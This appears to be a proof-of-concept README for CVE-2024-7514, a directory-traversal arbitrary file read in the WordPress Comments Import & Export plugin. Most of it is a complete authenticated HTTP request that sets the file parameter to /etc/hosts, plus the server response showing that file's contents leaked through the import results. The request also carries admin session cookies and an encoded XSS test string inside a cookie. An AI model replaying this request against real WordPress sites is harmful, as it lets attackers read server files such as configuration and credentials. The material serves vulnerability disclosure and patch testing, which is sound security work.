randomrobbiebf/cve-2024-7514WordPress Comments Import & Export <= 2.3.7 - Authenticated (Author+) Arbitrary File Read via Directory Traversal
WordPress Comments Import & Export <= 2.3.7 - Authenticated (Author+) Arbitrary File Read via Directory Traversal
The WordPress Comments Import & Export plugin for WordPress is vulnerable to to arbitrary file read due to insufficient file path validation during the comments import process, in versions up to, and including, 2.3.7. This makes it possible for authenticated attackers, with Author-level access and above, to read the contents of arbitrary
Type: plugin
CVSS Score: 6.5
CVE: CVE-2024-7514
Link: https://downloads.wordpress.org/plugin/comments-import-export-woocommerce.2.3.7.zip
You need a valid wt_nonce for this to work.
POST /wp-admin/admin-ajax.php?action=product_comments_csv_import_request&step=3 HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/admin.php?import=product_comments_csv&step=2&merge=0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 116
Origin: http://kubernetes.docker.internal
Connection: keep-alive
Cookie: thc_time=1731228211; wordpress_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1728811858%7Cxz76DEICO0cGZ4f5NipE6YAtQQS9T1lxrxdsL0Q6ufu%7Cf959d914959a79c3549c68a5a26370a966936f9e4a762431794351b288c5eb78; _delighted_web={%22FutSOUgy5edCcTk9%22:{%22_delighted_fst%22:{%22t%22:%221694595337803%22}}}; mailpoet_page_view=%7B%22timestamp%22%3A1727811617%7D; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; tk_ai=jetpack%3AQgOBg5M2jU%2B4Uorj9bZH7TTo; sbjs_migrations=1418474375998%3D1; sbjs_current_add=fd%3D2024-10-01%2019%3A20%3A14%7C%7C%7Cep%3Dhttp%3A%2F%2Fkubernetes.docker.internal%2F%3Futm_source%3Dwse%26utm_medium%3Dsettings%26utm_campaign%3Dorderactionsxmllink%26__jsn%3D1%2527%2520%253Cscript%253Ealert%28%2527XSS%2527%29%253C%2Fscript%253E%25%7C%7C%7Crf%3D%28none%29; sbjs_first_add=fd%3D2024-10-01%2018%3A37%3A42%7C%7C%7Cep%3Dhttp%3A%2F%2Fkubernetes.docker.internal%2F%7C%7C%7Crf%3D%28none%29; sbjs_current=typ%3Dutm%7C%7C%7Csrc%3Dwse%7C%7C%7Cmdm%3Dsettings%7C%7C%7Ccmp%3Dorderactionsxmllink%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29; sbjs_first=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29; sbjs_udata=vst%3D5%7C%7C%7Cuip%3D%28none%29%7C%7C%7Cuag%3DMozilla%2F5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010.15%3B%20rv%3A131.0%29%20Gecko%2F20100101%20Firefox%2F131.0; PHPSESSID=dd74ceb3c42bd8f880d4a9c518eafe7d; wc_auth_e2df32a6c3e7076dd7dc7d3f3fec39aa=1%7C1729506239%7C78ab8d662a1880b359746913feff6990daed2d6015365243d2e2412561061446; wordpress_logged_in_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1728811858%7Cxz76DEICO0cGZ4f5NipE6YAtQQS9T1lxrxdsL0Q6ufu%7C7343e8a0bf653c33d89b2f96e3637a4249fd36bcaae0ff672151121068eea755; wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1728639058
file=/etc/hosts&wt_nonce=183f391f2b&mapping=[1,2]&profile=test_profile&eval_field[0]=some_value&start_pos=0&end_pos=
HTTP/1.1 200 OK
Date: Fri, 11 Oct 2024 10:41:16 GMT
Server: Apache/2.4.57 (Debian)
X-Powered-By: PHP/8.2.11
Access-Control-Allow-Origin: http://kubernetes.docker.internal
Access-Control-Allow-Credentials: true
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 1321
<!--WC_START-->{"import_results":[{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"::1\\tlocalhost ip6-localhost ip6-loopback\"}"},{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"fe00::0\\tip6-localnet\"}"},{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"ff00::0\\tip6-mcastprefix\"}"},{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"ff02::1\\tip6-allnodes\"}"},{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"ff02::2\\tip6-allrouters\"}"},{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"172.20.0.4\\t1c54388ce47a\"}"}],"processed_posts":[],"post_orphans":[]}<!--WC_END-->